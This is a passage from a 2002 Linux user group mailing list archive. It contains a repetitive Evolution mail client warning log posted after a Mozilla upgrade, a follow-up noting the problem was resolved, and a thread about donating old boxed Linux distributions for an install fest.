e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_handler_for_type() > -- Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > I have done the google search, but have come up empty handed. anyone have > any suggestions for a possible fix? > > BTW i am running evolution-1.0.3-4. > > slr > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 18:03:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 06 Jun 2002 11:03:31 -0700 Subject: Random stuff to give away In-Reply-To: <200206052325.52735@granroth.org> Message-ID: <5.1.0.14.0.20020606110130.00abd090@localhost> This could be used for the install fest or other prizes at meetings too. If you would like to donate to AZOTO, let me know and we can have someone pick up anything you donate. There will be a tax donation letter to follow if you wish to do this through AZOTO. Kimi Adams, Treasurer AZOTO.org At 6/5/02, you wrote: >I have the following list of random distributions and stuff that I no >longer use. If anybody wants it, they can have it. Perhaps some of >it could be used for the InstallFest? Or door prizes? Or whatever... > >All the distributions are the retail boxed versions (no "download" or >"gpled" ones). They all come with all necessary CDs, boot disks (and >DVDs, in the case of SuSE 7.x) and manuals. The SuSE ones (unless >noted) may or may not have all the stickers and tie tacks and the >like. > >I don't think I'll be making any meetings any time soon so if you want >any of this, you'll have to stop on by my house and pick 'em up. Give >me a private email for directions. >----------------------------------------------------------------------- >Red Hat Linux 6.0 >Red Hat Linux 6.1 Deluxe >Red Hat Linux 6.2 Deluxe >Red Hat Linux 7.0 Standard > >SuSE 6.2 [1] >SuSE 6.3 (Missing CD1 -- am looking for it now) >SuSE 6.4 German [2] >SuSE 7.0 Professional >SuSE 7.1 Professional [3] >SuSE 7.1 Professional >SuSE 7.2 Professional > >Debian 2.1 Boxed Set [4] >Storm Linux 2000 [5] > >Mandrake Linux 7.1 Essential > >Caldera OpenLinux 2.3 [6] > >KDE 2.0 Development Book (4 copies) [7] > >[1] Also includes a full set of the German CDs which come with the > crypto packages (ssh, pgp, etc). The US CDs did not, back then >[2] This is the German version. All the CDs installation is in > English but the docs are all in German. >[3] This is like new! I opened it once but never used it. It > includes everything. >[4] This is the boxed set that VA Linux and SGI were distributing > awhile back. Even if you don't use the CD, the included O'Reilly > "Learning Debian GNU/Linux" book(!) (and Debian quick-start > booklet and Debian bumper sticker) make this worth having. >[5] I got this at a show but never even opened it (no spare boxes). > It's a Debian based system with a graphical installation. Looks > slick but Storm has since gone out of business. >[6] Older, but was first distro to come with Partition Magic and a > full graphical installation. >[7] This is *the* "how to develop KDE applications" book. Most of it > applies to KDE 3.x as well. A $50 value :-) ISBN: 0-672-31891-1 >-- >Kurt Granroth - "KDE -- Conquer Your Desktop" >KDE Developer/Evangelist | granroth@kde.org >http://www.granroth.org | kurt@granroth.org > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 18:35:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 6 Jun 2002 11:35:54 -0700 (PDT) Subject: mozilla 1.0 In-Reply-To: <200206061049.51343.zen2now@qwest.net> Message-ID: And the problem was...? On Thu, 6 Jun 2002, slr wrote: > forget it, problem resolved. > > slr > > On Thursday 06 June 2002 09:07 am, slr wrote: > > good morning all, > > > > i just installed mozilla 1.0 from rpm's which i > > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am > > running KDE 3.0, mozilla seems to run fine but now when i try to open > > Evolution i get these warnings: > > > > [xxx@xxx xxx]$ evolution > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > OAFIID:GNOME_Evolution_Mail_ShellComponent > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_handler_for_type() > > -- Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > 